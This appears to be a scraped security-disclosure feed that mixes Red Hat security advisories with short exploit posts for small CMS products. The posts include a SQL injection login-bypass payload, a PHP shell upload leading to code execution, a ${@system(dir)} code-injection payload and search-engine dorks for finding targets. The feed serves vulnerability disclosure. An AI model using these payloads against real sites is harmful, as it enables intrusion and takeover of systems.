Red Hat Security Advisory 2023-4730-01 - Red Hat OpenShift Container Platform is Red Hat's cloud computing Kubernetes application platform solution designed for on-premise or private cloud deployments. This advisory contains the RPM packages for Red Hat OpenShift Container Platform 4.13.10.

-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA256

=====================================================================  
                   Red Hat Security Advisory

Synopsis:          Moderate: OpenShift Container Platform 4.13.10 security update  
Advisory ID:       RHSA-2023:4730-01  
Product:           Red Hat OpenShift Enterprise  
Advisory URL:      https://access.redhat.com/errata/RHSA-2023:4730  
Issue date:        2023-08-30  
CVE Names:         CVE-2021-20329 CVE-2023-3899   
=====================================================================

1. Summary:

Red Hat OpenShift Container Platform release 4.13.10 is now available with  
updates to packages and images that fix several bugs and add enhancements.

This release includes a security update for Red Hat OpenShift Container  
Platform 4.13.

Red Hat Product Security has rated this update as having a security impact  
of Moderate. A Common Vulnerability Scoring System (CVSS) base score, which  
gives a detailed severity rating, is available for each vulnerability from  
the CVE link(s) in the References section.

2. Description:

Red Hat OpenShift Container Platform is Red Hat's cloud computing  
Kubernetes application platform solution designed for on-premise or private  
cloud deployments.

This advisory contains the RPM packages for Red Hat OpenShift Container  
Platform 4.13.10. See the following advisory for the container images for  
this release:

https://access.redhat.com/errata/RHSA-2023:4731

Security Fix(es):

* mongo-go-driver: specific cstrings input may not be properly validated  
(CVE-2021-20329)

For more details about the security issue(s), including the impact, a CVSS  
score, acknowledgments, and other related information, refer to the CVE  
page(s) listed in the References section.

All OpenShift Container Platform 4.13 users are advised to upgrade to these  
updated packages and images when they are available in the appropriate  
release channel. To check for available updates, use the OpenShift CLI (oc)  
or web console. Instructions for upgrading a cluster are available at  
https://docs.openshift.com/container-platform/4.13/updating/updating-cluster-cli.html

3. Solution:

For OpenShift Container Platform 4.13 see the following documentation,  
which will be updated shortly for this release, for important instructions  
on how to upgrade your cluster and fully apply this asynchronous errata  
update:

https://docs.openshift.com/container-platform/4.13/release_notes/ocp-4-13-release-notes.html

4. Bugs fixed (https://bugzilla.redhat.com/):

1971033 - CVE-2021-20329 mongo-go-driver: specific cstrings input may not be properly validated

5. JIRA issues fixed (https://issues.redhat.com/):

OCPBUGS-14954 - bf2-switch-mode.sh fails if multiple devices are detected  
OCPBUGS-15830 - LocalStorageOperator does not create PersistentVolumes  
OCPBUGS-17425 - Internal error occurred: add operation does not apply: doc is missing path: "/spec/containers/0/volumeMounts/-": missing value  
OCPBUGS-17525 - Prefer wwn- and scsi- prefixed device-ids in LSO

6. References:

https://access.redhat.com/security/cve/CVE-2021-20329  
https://access.redhat.com/security/cve/CVE-2023-3899  
https://access.redhat.com/security/updates/classification/#moderate

7. Contact:

The Red Hat security contact is <secalert@redhat.com>. More contact  
details at https://access.redhat.com/security/team/contact/

Copyright 2023 Red Hat, Inc.  
-----BEGIN PGP SIGNATURE-----  
Version: GnuPG v1

iQIcBAEBCAAGBQJk7+LZAAoJENzjgjWX9erEmxwP/jF5zvEuudLfW23JXDMe9Oa5  
P3yGm2rTVr7HCs122rIyId5eleo76/FftdUAsy8BkUX2lLvktB61jXFXsVa++wrV  
YeWt9tXb9Lh2M8eB6EaqsRbTqs71cWxJ15YGXF4HfiYSbT2ugaoJIMPsuuFZYxsB  
9Qdrulr/fU1/mVhsnQKDcNOouiDzbvPT6rGtecgK+qiJ5yc6VpSDw061xma0GDp1  
wbv70OLv0Tt3yyPl+8+7Re9PWgNf6/0jaP3ebdc+fV6DWxfVgtJS1ude6n7Lumt4  
Baz0J8u1bdEb5MLFgS8hXp8g0mAhPrTF36/Hk14rEgNT/3pkAe0N3VnGbyAc/wj8  
t6CpilttcdF8NpdAM8ON4gLnUM9naoCwzdYmR7FDvyghbZmeXLLBiUy0B2pHes6g  
r4iLOK/9R5+8s4OIpT7aPMLXdGe0dKmlcQSB4xQIdBgTdsum/Li34Y6VT/gCWddv  
OjRUhBl3CkFtKutPmaBWtbCBmhWrYdQ1702QqhVxk+L6FKjFbOew48RaV+ZacExr  
kBMoXcWchOXfUxqljvuuAlXUdysvxKiXjMf4WjkZ0BaHhTsb3OZUXEreUTnGGYvK  
9659sjfkqLCGsn59ZYosv2O5mj8Dclxf6mYlcvzfTjnV5+QDi9F6IrWKIEP6hz+b  
eyPdiQLDi4sj27N+AtZs  
=3QJE  
-----END PGP SIGNATURE-----  
--  
RHSA-announce mailing list  
RHSA-announce@redhat.com  
https://listman.redhat.com/mailman/listinfo/rhsa-announce

Red Hat Security Advisory 2023-4730-01

Innovins CMS version 4.7 suffers from a remote SQL injection vulnerability.

    ====================================================================================================================================| # Title     : Innovins CMS v4.7 Sql Injection Vulnerability                                                                      || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 63.0.3 (32-bit)                                            || # Vendor    : https://www.innovins.com/                                                                                          || # Dork      : intext:Developed by - Innovins                                                                                     |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] use payload : events2.php?id= [+] http://www.127.0.0.1saingoorg/events2.php?id= <===== inject herGreetings to :=========================================================================================================================jericho * Larry W. Cashdollar * brutelogic* shadow_00715 *9aylas*djroot.dz*LiquidWorm*Hussin-X*D4NB4R *ViRuS_Ra3cH *yasMouh* CraCkEr  |=======================================================================================================================================

Innovins CMS 4.7 SQL Injection

Online ID Generator version 1.0 suffers from remote SQL injection that allows for login bypass and remote shell upload vulnerabilities.

    ## Title: Online-ID-Generator-1.0-SQLi-Bypass-login-ShellUpload-RCE## Author: nu11secur1ty## Date: 08/31/2023## Vendor: https://www.youtube.com/watch?v=JdB9_po5DTc## Software: https://www.sourcecodester.com/sites/default/files/download/oretnom23/id_generator_0.zip## Reference: https://portswigger.net/web-security/sql-injection## Reference: https://portswigger.net/web-security/file-upload## Reference: https://portswigger.net/web-security/file-upload/lab-file-upload-remote-code-execution-via-web-shell-upload## Description:hat-trick: The system of this pseudo developer is vulnerable to SQLi,Shell Upload, and RCE at the same time.This system must be terminated. To all users who like and follow thisperson: Please STOPT DOING THIS!THIS WILL BE YOUR RESPONSIBLE WHEN YOU LOSE MONEY OR WHATEVERIMPORTANT FOR YOU! BR @nu11secur1tySTATUS: HIGH-CRITICAL Vulnerability[+]Bypass login SQLi:# In login form, for user:```mysqlnu11secur1ty' or 1=1#```[+]Shell Upload exploit:## For system logo:```php<?php  phpinfo();?>```[+]RCE Exploit## Execution from the remote browser:```URLhttp://localhost/id_generator/uploads/1693471560_info.php```## Reproduce:[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/oretnom23/2023/Online-ID-Generator-1.0)## Proof and Exploit:[href](https://www.nu11secur1ty.com/2023/08/online-id-generator-10-sqli-bypass.html)## Time spend:00:10:00

Online ID Generator 1.0 SQL Injection / Shell Upload

Red Hat Security Advisory 2023-4888-01 - This is a kernel live patch module which is automatically loaded by the RPM post-install script to modify the code of a running kernel. Issues addressed include out of bounds write and use-after-free vulnerabilities.

-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA256

=====================================================================  
                   Red Hat Security Advisory

Synopsis:          Important: kpatch-patch security update  
Advisory ID:       RHSA-2023:4888-01  
Product:           Red Hat Enterprise Linux  
Advisory URL:      https://access.redhat.com/errata/RHSA-2023:4888  
Issue date:        2023-08-30  
CVE Names:         CVE-2022-42896 CVE-2023-1829 CVE-2023-3390   
                   CVE-2023-35788   
=====================================================================

1. Summary:

An update for kpatch-patch is now available for Red Hat Enterprise Linux  
8.6 Extended Update Support.

Red Hat Product Security has rated this update as having a security impact  
of Important. A Common Vulnerability Scoring System (CVSS) base score,  
which gives a detailed severity rating, is available for each vulnerability  
from the CVE link(s) in the References section.

2. Relevant releases/architectures:

Red Hat Enterprise Linux BaseOS EUS (v.8.6) - ppc64le, x86_64

3. Description:

This is a kernel live patch module which is automatically loaded by the RPM  
post-install script to modify the code of a running kernel.

Security Fix(es):

* kernel: use-after-free in l2cap_connect and l2cap_le_connect_req in  
net/bluetooth/l2cap_core.c (CVE-2022-42896)

* kernel: Use-after-free vulnerability in the Linux Kernel traffic control  
index filter (CVE-2023-1829)

* kernel: UAF in nftables when nft_set_lookup_global triggered after  
handling named and anonymous sets in batch requests (CVE-2023-3390)

* kernel: cls_flower: out-of-bounds write in fl_set_geneve_opt()  
(CVE-2023-35788)

For more details about the security issue(s), including the impact, a CVSS  
score, acknowledgments, and other related information, refer to the CVE  
page(s) listed in the References section.

4. Solution:

For details on how to apply this update, which includes the changes  
described in this advisory, refer to:

https://access.redhat.com/articles/11258

5. Bugs fixed (https://bugzilla.redhat.com/):

2147364 - CVE-2022-42896 kernel: use-after-free in l2cap_connect and l2cap_le_connect_req in net/bluetooth/l2cap_core.c  
2188470 - CVE-2023-1829 kernel: Use-after-free vulnerability in the Linux Kernel traffic control index filter  
2213260 - CVE-2023-3390 kernel: UAF in nftables when nft_set_lookup_global triggered after handling named and anonymous sets in batch requests  
2215768 - CVE-2023-35788 kernel: cls_flower: out-of-bounds write in fl_set_geneve_opt()

6. Package List:

Red Hat Enterprise Linux BaseOS EUS (v.8.6):

Source:  
kpatch-patch-4_18_0-372_41_1-1-7.el8_6.src.rpm  
kpatch-patch-4_18_0-372_46_1-1-5.el8_6.src.rpm  
kpatch-patch-4_18_0-372_51_1-1-4.el8_6.src.rpm  
kpatch-patch-4_18_0-372_52_1-1-3.el8_6.src.rpm  
kpatch-patch-4_18_0-372_57_1-1-2.el8_6.src.rpm  
kpatch-patch-4_18_0-372_64_1-1-1.el8_6.src.rpm

ppc64le:  
kpatch-patch-4_18_0-372_41_1-1-7.el8_6.ppc64le.rpm  
kpatch-patch-4_18_0-372_41_1-debuginfo-1-7.el8_6.ppc64le.rpm  
kpatch-patch-4_18_0-372_41_1-debugsource-1-7.el8_6.ppc64le.rpm  
kpatch-patch-4_18_0-372_46_1-1-5.el8_6.ppc64le.rpm  
kpatch-patch-4_18_0-372_46_1-debuginfo-1-5.el8_6.ppc64le.rpm  
kpatch-patch-4_18_0-372_46_1-debugsource-1-5.el8_6.ppc64le.rpm  
kpatch-patch-4_18_0-372_51_1-1-4.el8_6.ppc64le.rpm  
kpatch-patch-4_18_0-372_51_1-debuginfo-1-4.el8_6.ppc64le.rpm  
kpatch-patch-4_18_0-372_51_1-debugsource-1-4.el8_6.ppc64le.rpm  
kpatch-patch-4_18_0-372_52_1-1-3.el8_6.ppc64le.rpm  
kpatch-patch-4_18_0-372_52_1-debuginfo-1-3.el8_6.ppc64le.rpm  
kpatch-patch-4_18_0-372_52_1-debugsource-1-3.el8_6.ppc64le.rpm  
kpatch-patch-4_18_0-372_57_1-1-2.el8_6.ppc64le.rpm  
kpatch-patch-4_18_0-372_57_1-debuginfo-1-2.el8_6.ppc64le.rpm  
kpatch-patch-4_18_0-372_57_1-debugsource-1-2.el8_6.ppc64le.rpm  
kpatch-patch-4_18_0-372_64_1-1-1.el8_6.ppc64le.rpm  
kpatch-patch-4_18_0-372_64_1-debuginfo-1-1.el8_6.ppc64le.rpm  
kpatch-patch-4_18_0-372_64_1-debugsource-1-1.el8_6.ppc64le.rpm

x86_64:  
kpatch-patch-4_18_0-372_41_1-1-7.el8_6.x86_64.rpm  
kpatch-patch-4_18_0-372_41_1-debuginfo-1-7.el8_6.x86_64.rpm  
kpatch-patch-4_18_0-372_41_1-debugsource-1-7.el8_6.x86_64.rpm  
kpatch-patch-4_18_0-372_46_1-1-5.el8_6.x86_64.rpm  
kpatch-patch-4_18_0-372_46_1-debuginfo-1-5.el8_6.x86_64.rpm  
kpatch-patch-4_18_0-372_46_1-debugsource-1-5.el8_6.x86_64.rpm  
kpatch-patch-4_18_0-372_51_1-1-4.el8_6.x86_64.rpm  
kpatch-patch-4_18_0-372_51_1-debuginfo-1-4.el8_6.x86_64.rpm  
kpatch-patch-4_18_0-372_51_1-debugsource-1-4.el8_6.x86_64.rpm  
kpatch-patch-4_18_0-372_52_1-1-3.el8_6.x86_64.rpm  
kpatch-patch-4_18_0-372_52_1-debuginfo-1-3.el8_6.x86_64.rpm  
kpatch-patch-4_18_0-372_52_1-debugsource-1-3.el8_6.x86_64.rpm  
kpatch-patch-4_18_0-372_57_1-1-2.el8_6.x86_64.rpm  
kpatch-patch-4_18_0-372_57_1-debuginfo-1-2.el8_6.x86_64.rpm  
kpatch-patch-4_18_0-372_57_1-debugsource-1-2.el8_6.x86_64.rpm  
kpatch-patch-4_18_0-372_64_1-1-1.el8_6.x86_64.rpm  
kpatch-patch-4_18_0-372_64_1-debuginfo-1-1.el8_6.x86_64.rpm  
kpatch-patch-4_18_0-372_64_1-debugsource-1-1.el8_6.x86_64.rpm

These packages are GPG signed by Red Hat for security.  Our key and  
details on how to verify the signature are available from  
https://access.redhat.com/security/team/key/

7. References:

https://access.redhat.com/security/cve/CVE-2022-42896  
https://access.redhat.com/security/cve/CVE-2023-1829  
https://access.redhat.com/security/cve/CVE-2023-3390  
https://access.redhat.com/security/cve/CVE-2023-35788  
https://access.redhat.com/security/updates/classification/#important

8. Contact:

The Red Hat security contact is <secalert@redhat.com>. More contact  
details at https://access.redhat.com/security/team/contact/

Copyright 2023 Red Hat, Inc.  
-----BEGIN PGP SIGNATURE-----  
Version: GnuPG v1

iQIcBAEBCAAGBQJk7+K8AAoJENzjgjWX9erEJvYP/iLAmG8SlAVzb2RCSQ+IV/ZY  
iN/IjtZk2w6jAyYqfDDcjVhH3pFSg7EZtXm1+eZf/V0Tghh89zDerhybWFHczipm  
83FwEbtNqCzF2ywVAR2qQiU6ZdlIvySiIv8trPzkzmIyfQiB1R7agYWfuxOCysI8  
BxJd01PlI5/3vvj7EMyL0Q7XxS/CifMj/r+/aNmdxqM44ALvYMafN+rcB/J/xfAf  
sL/m1VQJEHFEEHEXmMWyS6dnK4uiAJ+6oHIg2z4vMFUFDYwBFuK+IH2+4vYBr+6l  
wqsWGlE8EyxfUCQqO/8XgeUrcbWkcz8IGLK2moiLNgMTp22YApet/BQub8smdrFU  
+KwHiCBOzgPuSm+3Ufhv+0N/AHg/Ib7D75ETmQCqTHdUWOcbV9gC5NCOG9ZTHuC6  
6Pb+Jo4EDGbHO5dFWZfrpDX9KctQR5Ot3qm2Q6Fu1CTE/BNTi461C9gPYpsj05TF  
0bZvWV5VLrLJZcwtjfTRPqsJ/ZIS55hcrJjz1FAYKBuMDX/6msVmDWQ7W9y84DDH  
Zpw6cbLxNkzhH5cQWfs+rd+nj5FJf0FJU8eKZCIs0yJX21/+ok4+kqol3BZaJhjq  
Kbk5aC6He1VZHATIZa+I0fwianIFsR9M6VRGgPw9LnzlQ6Rg5obwuan8dsSov5qE  
3ZU/5QqCvAk4FP6uoYCB  
=VsxP  
-----END PGP SIGNATURE-----  
--  
RHSA-announce mailing list  
RHSA-announce@redhat.com  
https://listman.redhat.com/mailman/listinfo/rhsa-announce

Red Hat Security Advisory 2023-4888-01

Red Hat Security Advisory 2023-4885-01 - Red Hat OpenShift support for Windows Containers allows you to deploy Windows container workloads running on Windows Server containers. Issues addressed include a privilege escalation vulnerability.

-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA256

=====================================================================  
                   Red Hat Security Advisory

Synopsis:          Important: Red Hat OpenShift support for Windows Containers 8.0.2 security update  
Advisory ID:       RHSA-2023:4885-01  
Product:           Red Hat OpenShift Enterprise  
Advisory URL:      https://access.redhat.com/errata/RHSA-2023:4885  
Issue date:        2023-08-30  
CVE Names:         CVE-2023-3676 CVE-2023-3955   
=====================================================================

1. Summary:

The components for Red Hat OpenShift support for Windows Containers 8.0.2  
are now available. This product release includes bug fixes and security  
updates for the following packages: windows-machine-config-operator and  
windows-machine-config-operator-bundle.

Red Hat Product Security has rated this update as having a security impact  
of Important. A Common Vulnerability Scoring System (CVSS) base score,  
which gives a detailed severity rating, is available for each vulnerability  
from the CVE link(s) in the References section.

2. Description:

Red Hat OpenShift support for Windows Containers allows you to deploy  
Windows container workloads running on Windows Server containers.

Security Fix(es):

* kubernetes: Insufficient input sanitization on Windows nodes leads to  
privilege escalation (CVE-2023-3676)

* kubernetes: Insufficient input sanitization on Windows nodes leads to  
privilege escalation (CVE-2023-3955)

For more details about the security issue(s), including the impact, CVSS  
score, acknowledgments, and other related information, refer to the CVE  
page(s) listed in the References section.

3. Solution:

For Windows Machine Config Operator upgrades, see the following  
documentation:  
https://docs.openshift.com/container-platform/latest/windows_containers/windows-node-upgrades.html

4. Bugs fixed (https://bugzilla.redhat.com/):

2227126 - CVE-2023-3676 kubernetes: Insufficient input sanitization on Windows nodes leads to privilege escalation  
2227128 - CVE-2023-3955 kubernetes: Insufficient input sanitization on Windows nodes leads to privilege escalation

5. References:

https://access.redhat.com/security/cve/CVE-2023-3676  
https://access.redhat.com/security/cve/CVE-2023-3955  
https://access.redhat.com/security/updates/classification/#important

6. Contact:

The Red Hat security contact is <secalert@redhat.com>. More contact  
details at https://access.redhat.com/security/team/contact/

Copyright 2023 Red Hat, Inc.  
-----BEGIN PGP SIGNATURE-----  
Version: GnuPG v1

iQIcBAEBCAAGBQJk7+KuAAoJENzjgjWX9erE3lMP/2jePX7S115czncgIpDraYAR  
x8aCx7Kyk6iIRDHIXYM3TOIRLDJHVX7/3oFxl4cCAd4/DskE5jchlrw3QWVC8qfp  
InGscpQWdAJN+jtRz8IpJLpR6YYJ79/3lMHkCZQ05zcFG0yEv2VBTTpffOpjuAg5  
kD2KVwbT7TR7Pfbj2chQ9rZW2yppBuYgXq6l5Ssma+HoHkgzi+dj+E6GtZyptJX+  
7704STpEYHVRnooatp+eYpTkHwXdelQMZsD4PmjTWCEqC5UuuHUNMQ01lsnsY/IK  
mUwUgIwG0Lp7qSGunzS39kQqmE/KFVZ+BCjinx00OidBuSM6Q2NNYxjlvljBdptt  
kkhHcgYNCkD1Jbm2rM8Iz9tdLsW/+pru4gQ40FT0ZeW2FRD1cCinkV9k3301VSEh  
MO9ocRTzrqEaVbKkpZy8c4wKNA049YnfoMvUSeasVpgOwhJbsuZzd6BVx2jcQkoQ  
kSYv/JpHVn3p9vuqyUnmH3ANGrKSqsphDs3Z5sXykoMrcTHX5Va0913Im+dtHWw2  
nHNBH82IGcSjtTB6ZnmYF1c7c7DEGTmodvwsktI4Q3K/kCE18W7QYJi66T+GZJGq  
zGvn1xaKaazPpNfh2RDRq3w86v6MzpUWuEqDz7ZAVr1+AKaCLI8odGsQslajsjMJ  
7yYr7+mVO9zmtqxzword  
=0vpr  
-----END PGP SIGNATURE-----  
--  
RHSA-announce mailing list  
RHSA-announce@redhat.com  
https://listman.redhat.com/mailman/listinfo/rhsa-announce

Red Hat Security Advisory 2023-4885-01

Red Hat Security Advisory 2023-4889-01 - The DevWorkspace Operator extends OpenShift to provide DevWorkspace support. Issues addressed include a code execution vulnerability.

-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA256

=====================================================================  
                   Red Hat Security Advisory

Synopsis:          Important: DevWorkspace Operator 0.22 release  
Advisory ID:       RHSA-2023:4889-01  
Product:           DEVWORKSPACE  
Advisory URL:      https://access.redhat.com/errata/RHSA-2023:4889  
Issue date:        2023-08-30  
CVE Names:         CVE-2023-2602 CVE-2023-2603 CVE-2023-27536   
                   CVE-2023-28321 CVE-2023-28484 CVE-2023-29469   
                   CVE-2023-38408   
=====================================================================

1. Summary:

Red Hat DevWorkspace Operator 0.22 has been released.

Red Hat Product Security has rated this update as having a security impact  
of Important. A Common Vulnerability Scoring System (CVSS) base score,  
which gives a detailed severity rating, is available for each vulnerability  
from the CVE link(s) in the References section.

2. Description:

The DevWorkspace Operator extends OpenShift to provide DevWorkspace  
support.

Security Fix(es):

* openssh: Remote code execution in ssh-agent PKCS#11 support  
(CVE-2023-38408)

For more details about the security issue(s), including the impact, a CVSS  
score, acknowledgments, and other related information, refer to the CVE  
page(s) listed in the References section.

3. Solution:

Before applying this update, make sure all previously released errata  
relevant to your system have been applied.

To update all RPMs for your particular architecture, run:

rpm -Fvh [filenames]

where [filenames] is a list of the RPMs you wish to upgrade.  Only those  
RPMs which are currently installed will be updated.  Those RPMs which are  
not installed but included in the list will not be updated.  Note that you  
can also use wildcards (*.rpm) if your current directory *only* contains  
the  
desired RPMs.

Please note that this update is also available via Red Hat Network.  Many  
people find this an easier way to apply updates.  To use Red Hat Network,  
launch the Red Hat Update Agent with the following command:

up2date

This will start an interactive process that will result in the appropriate  
RPMs being upgraded on your system.

4. Bugs fixed (https://bugzilla.redhat.com/):

2224173 - CVE-2023-38408 openssh: Remote code execution in ssh-agent PKCS#11 support

5. JIRA issues fixed (https://issues.redhat.com/):

CRW-4641 - Release DevWorkspace Operator v0.22

6. References:

https://access.redhat.com/security/cve/CVE-2023-2602  
https://access.redhat.com/security/cve/CVE-2023-2603  
https://access.redhat.com/security/cve/CVE-2023-27536  
https://access.redhat.com/security/cve/CVE-2023-28321  
https://access.redhat.com/security/cve/CVE-2023-28484  
https://access.redhat.com/security/cve/CVE-2023-29469  
https://access.redhat.com/security/cve/CVE-2023-38408  
https://access.redhat.com/security/updates/classification/#important

7. Contact:

The Red Hat security contact is <secalert@redhat.com>. More contact  
details at https://access.redhat.com/security/team/contact/

Copyright 2023 Red Hat, Inc.  
-----BEGIN PGP SIGNATURE-----  
Version: GnuPG v1

iQIcBAEBCAAGBQJk7+KOAAoJENzjgjWX9erEOKQP/0EHTmOZXTTPDoYmghH9Fcjg  
2+I/HSTn6Tw3hjcK8WJu9oZ/ILI6cyFZNMeEfwt0t0q8Rrpl2aO9kGbgSvh+34eB  
nm0u6BHml3IGK2dMK3HtWUtUy3AKoWinCW1nuX8a8Ti3GHadDzXvXTuBmGzErFin  
9TK+44+njTcJb8KF7WWWINKAEft6MbhU/9Ka0gJ2oEE1b5NacfBslYtPsxNSzn50  
tlyVX4fpPbaGNitkrqbakem3szzBhRcJE4xuaXXxV1GMsP67wc6iSALQDmSqf9YD  
Vas1evj3qVaKwoeum9+holMhYSgdksL891mBA7bViY213vBxlQYBfLyjEKviJp2b  
nkc86ZDPgDf3rJCKZdsSwWTSLdkyo9WDirMU2Y00hMTXAnf+88G01IFax/rL5PIb  
vy2szr9w/Ne9jqbeHNQG14nrYroLDtnlD7F3kxavxIl3/zoYxfkDuDM9y3CZrJjO  
MrM9m5RNXBWfGXZHUh8+BrrY3PaZOwmt1xZ4M6nV+mS3byYf4H+M0Cf/dwRckCGf  
1Rx0Y6NT5fGQBoq+BuP2QOi6JiYBHlh0an1rclil2U2ItO7u4DbtAlGGWGvmfbmQ  
u5FyOoRk23GCDGvpb+nJcwQvx+PMIwnhQQCPptdtXerl9MZfx9yYvWnIfvbPSinz  
t8LZshP5tSCpVgBWplIK  
=gNjz  
-----END PGP SIGNATURE-----  
--  
RHSA-announce mailing list  
RHSA-announce@redhat.com  
https://listman.redhat.com/mailman/listinfo/rhsa-announce

Red Hat Security Advisory 2023-4889-01

Red Hat Security Advisory 2023-4877-01 - IBM Java SE version 8 includes the IBM Java Runtime Environment and the IBM Java Software Development Kit. This update upgrades IBM Java SE 8 to version 8 SR8-FP10.

-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA256

=====================================================================  
                   Red Hat Security Advisory

Synopsis:          Moderate: java-1.8.0-ibm security update  
Advisory ID:       RHSA-2023:4877-01  
Product:           Red Hat Enterprise Linux  
Advisory URL:      https://access.redhat.com/errata/RHSA-2023:4877  
Issue date:        2023-08-30  
CVE Names:         CVE-2023-22049   
=====================================================================

1. Summary:

An update for java-1.8.0-ibm is now available for Red Hat Enterprise Linux  
8.

Red Hat Product Security has rated this update as having a security impact  
of Moderate. A Common Vulnerability Scoring System (CVSS) base score, which  
gives a detailed severity rating, is available for each vulnerability from  
the CVE link(s) in the References section.

2. Relevant releases/architectures:

Red Hat Enterprise Linux Supplementary (v. 8) - ppc64le, s390x, x86_64

3. Description:

IBM Java SE version 8 includes the IBM Java Runtime Environment and the IBM  
Java Software Development Kit.

This update upgrades IBM Java SE 8 to version 8 SR8-FP10.

Security Fix(es):

* OpenJDK: improper handling of slash characters in URI-to-path conversion  
(8305312) (CVE-2023-22049)

For more details about the security issue(s), including the impact, a CVSS  
score, acknowledgments, and other related information, refer to the CVE  
page(s) listed in the References section.

4. Solution:

For details on how to apply this update, which includes the changes  
described in this advisory, refer to:

https://access.redhat.com/articles/11258

All running instances of IBM Java must be restarted for this update to take  
effect.

5. Bugs fixed (https://bugzilla.redhat.com/):

2221647 - CVE-2023-22049 OpenJDK: improper handling of slash characters in URI-to-path conversion (8305312)

6. Package List:

Red Hat Enterprise Linux Supplementary (v. 8):

ppc64le:  
java-1.8.0-ibm-1.8.0.8.10-1.el8_8.ppc64le.rpm  
java-1.8.0-ibm-demo-1.8.0.8.10-1.el8_8.ppc64le.rpm  
java-1.8.0-ibm-devel-1.8.0.8.10-1.el8_8.ppc64le.rpm  
java-1.8.0-ibm-headless-1.8.0.8.10-1.el8_8.ppc64le.rpm  
java-1.8.0-ibm-jdbc-1.8.0.8.10-1.el8_8.ppc64le.rpm  
java-1.8.0-ibm-plugin-1.8.0.8.10-1.el8_8.ppc64le.rpm  
java-1.8.0-ibm-src-1.8.0.8.10-1.el8_8.ppc64le.rpm  
java-1.8.0-ibm-webstart-1.8.0.8.10-1.el8_8.ppc64le.rpm

s390x:  
java-1.8.0-ibm-1.8.0.8.10-1.el8_8.s390x.rpm  
java-1.8.0-ibm-demo-1.8.0.8.10-1.el8_8.s390x.rpm  
java-1.8.0-ibm-devel-1.8.0.8.10-1.el8_8.s390x.rpm  
java-1.8.0-ibm-headless-1.8.0.8.10-1.el8_8.s390x.rpm  
java-1.8.0-ibm-jdbc-1.8.0.8.10-1.el8_8.s390x.rpm  
java-1.8.0-ibm-src-1.8.0.8.10-1.el8_8.s390x.rpm

x86_64:  
java-1.8.0-ibm-1.8.0.8.10-1.el8_8.x86_64.rpm  
java-1.8.0-ibm-demo-1.8.0.8.10-1.el8_8.x86_64.rpm  
java-1.8.0-ibm-devel-1.8.0.8.10-1.el8_8.x86_64.rpm  
java-1.8.0-ibm-headless-1.8.0.8.10-1.el8_8.x86_64.rpm  
java-1.8.0-ibm-jdbc-1.8.0.8.10-1.el8_8.x86_64.rpm  
java-1.8.0-ibm-plugin-1.8.0.8.10-1.el8_8.x86_64.rpm  
java-1.8.0-ibm-src-1.8.0.8.10-1.el8_8.x86_64.rpm  
java-1.8.0-ibm-webstart-1.8.0.8.10-1.el8_8.x86_64.rpm

These packages are GPG signed by Red Hat for security.  Our key and  
details on how to verify the signature are available from  
https://access.redhat.com/security/team/key/

7. References:

https://access.redhat.com/security/cve/CVE-2023-22049  
https://access.redhat.com/security/updates/classification/#moderate

8. Contact:

The Red Hat security contact is <secalert@redhat.com>. More contact  
details at https://access.redhat.com/security/team/contact/

Copyright 2023 Red Hat, Inc.  
-----BEGIN PGP SIGNATURE-----  
Version: GnuPG v1

iQIcBAEBCAAGBQJk71aiAAoJENzjgjWX9erEEeMP/38UjIh+KtHdEGzY0pCSWgY/  
h/Raw/2p2mdL4hmDZY1S/NpQvqJQVZyp2iNm0TvEIMx21llo1UB+k9+MVwpuyG37  
6hT7pYn29ZBJoLLDfIxhbBUAYqSG/X3DHuBk5yZS/1Zk4oRATf+zTmB+eYpu9cyg  
FSrWqjInn0gUlSe6ULD+F5xofFoTl0jMT8of2hPvdYTLb7zUqX+iTil1Msk1SNDU  
ZpyAMxrssXOTmeYhO9RBaMcz+8SowovgFswz64bu+zcTeqFOXVZxV66e3ujt5KFF  
Nw7EI1sxqlliL5Ua8yJJ06d4iXlrNJ/HtCYKp90lvKtMUfiC2asEyOrD443z6y8p  
o3ztktSRxL4U2ZZ6NziiL5mLEIaOIAjOidDyLT9Vs/1YOgy6GWBA3bcFHOlbZYkE  
Squ4CLIK0MJZqyaymelDEkaPXnepqFT5UJjVRwca9vYwa4dOuzQ3+mI/71tj1s6F  
D0NRD1WQ+MmzJwTcXW4xbDEAxvw69AVY3wR5yaBMsAOSuGnFKXrs/UhKFXaTKEH7  
gSlPtnN6XjaAIqYSjQBn8OSNH/D0fIYyFDbdumlTAwvkhyuIOX1QEbSzZyZllFcZ  
bwk1mQtX2mWwP/otwBG9Pw5d8IBdI+S0kmBk8t+91dOwHPixBvphxm6GyVYussNq  
6y5hfCF2oCRBFoD8Yimi  
=SNTx  
-----END PGP SIGNATURE-----  
--  
RHSA-announce mailing list  
RHSA-announce@redhat.com  
https://listman.redhat.com/mailman/listinfo/rhsa-announce

Red Hat Security Advisory 2023-4877-01

Islam CMS version 1.0 suffers from a remote PHP code injection vulnerability.

    ====================================================================================================================================| # Title     : islam cms v1.0 PHP code injection Vulnerability                                                                    || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 63.0.3 (32-bit)                                            || # Vendor    : https://almohtaref.net/                                                                                            || # Dork      : R.I.P                                                                                                              |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] This vulnerability affects /islamcms/index.php [+] In the search box use payload :     http://127.0.0.1/islamcms/index.php?name=search    ${@system(dir)}    ${@print inoushka}    word=%24%7b%40print indoushka}%7dGreetings to :=========================================================================================================================jericho * Larry W. Cashdollar * brutelogic* shadow_00715 *9aylas*djroot.dz*LiquidWorm*Hussin-X*D4NB4R *ViRuS_Ra3cH *yasMouh* CraCkEr  |=======================================================================================================================================

Islam CMS 1.0 Code Injection

Invasor Diagonal CMS version 1.0 suffers from a cross site scripting vulnerability.

